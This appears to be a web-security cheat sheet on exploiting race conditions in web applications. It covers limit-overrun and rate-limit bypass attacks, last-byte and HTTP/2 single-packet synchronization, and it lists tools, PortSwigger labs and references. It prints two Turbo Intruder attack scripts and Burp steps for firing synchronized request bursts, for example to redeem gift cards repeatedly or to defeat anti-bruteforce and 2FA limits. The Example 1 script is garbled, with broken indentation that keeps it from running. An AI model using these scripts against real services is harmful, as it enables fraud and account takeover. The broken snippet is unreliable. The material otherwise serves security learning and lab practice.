Race Condition

Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.

Summary

• Tools

• Methodology

  • Limit-overrun

  • Rate-limit Bypass

• Techniques

  • HTTP/1.1 Last-byte Synchronization

  • HTTP/2 Single-packet Attack

• Turbo Intruder

  • Example 1

  • Example 2

• Labs

• References

Tools

• PortSwigger/turbo-intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.

• JavanXD/Raceocat - Make exploiting race conditions in web applications highly efficient and ease-of-use.

• nxenon/h2spacex - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy‌ + Exploit Timing Attacks

Methodology

Limit-overrun

Limit-overrun refers to a scenario where multiple threads or processes compete to update or access a shared resource, resulting in the resource exceeding its intended limits.

Examples: Overdrawing limit, multiple voting, multiple spending of a giftcard.

• Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4

• Race conditions can be used to bypass invitation limit - @franjkovic

• Register multiple users using one invitation - @franjkovic

Rate-limit Bypass

Rate-limit bypass occurs when an attacker exploits the lack of proper synchronization in rate-limiting mechanisms to exceed intended request limits. Rate-limiting is designed to control the frequency of actions (e.g., API requests, login attempts), but race conditions can allow attackers to bypass these restrictions.

Examples: Bypassing anti-bruteforce mechanism and 2FA.

• Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah

Techniques

HTTP/1.1 Last-byte Synchronization

Send every requests except the last byte, then "release" each request by sending the last byte.

Execute a last-byte synchronization using Turbo Intruder

engine.queue(request, gate='race1')
engine.queue(request, gate='race1')
engine.openGate('race1')

Examples:

• Cracking reCAPTCHA, Turbo Intruder style - James Kettle

HTTP/2 Single-packet Attack

In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.

• PortSwigger/turbo-intruder/race-single-packet-attack.py

• Burp Suite

  • Send a request to Repeater

  • Duplicate the request 20 times (CTRL+R)

  • Create a new group and add all the requests

  • Send group in parallel (single-packet attack)

Examples:

• CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle

Turbo Intruder

Example 1

1. Send request to turbo intruder

2. Use this python code as a payload of the turbo intruder

   def queueRequests(target, wordlists):
       engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )
   
   for i in range(30):
       engine.queue(target.req, i)
           engine.queue(target.req, target.baseInput, gate='race1')
   
   
       engine.start(timeout=5)
   engine.openGate('race1')
   
       engine.complete(timeout=60)
   
   
   def handleResponse(req, interesting):
       table.add(req)

3. Now set the external HTTP header x-request: %s - ⚠️ This is needed by the turbo intruder

4. Click "Attack"

Example 2

This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
    '''

    request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
    '''

    engine.queue(request1, gate='race1')
    for i in range(30):
        engine.queue(request2, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)
def handleResponse(req, interesting):
    table.add(req)

Labs

• PortSwigger - Limit overrun race conditions

• PortSwigger - Multi-endpoint race conditions

• PortSwigger - Bypassing rate limits via race conditions

• PortSwigger - Multi-endpoint race conditions

• PortSwigger - Single-endpoint race conditions

• PortSwigger - Exploiting time-sensitive vulnerabilities

• PortSwigger - Partial construction race conditions

References

• Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit - @ryotkak - August 2, 2024

• DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions - James Kettle (@albinowax) - September 15, 2023

• Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat - October 6, 2022

• New techniques and tools for web race conditions - Emma Stocks - August 10, 2023

• Race Condition Bug In Web App: A Use Case - Mandeep Jadon - April 24, 2018

• Race conditions on the web - Josip Franjkovic - July 12, 2016

• Smashing the state machine: the true potential of web race conditions - James Kettle (@albinowax) - August 9, 2023

• Turbo Intruder: Embracing the billion-request attack - James Kettle (@albinowax) - January 25, 2019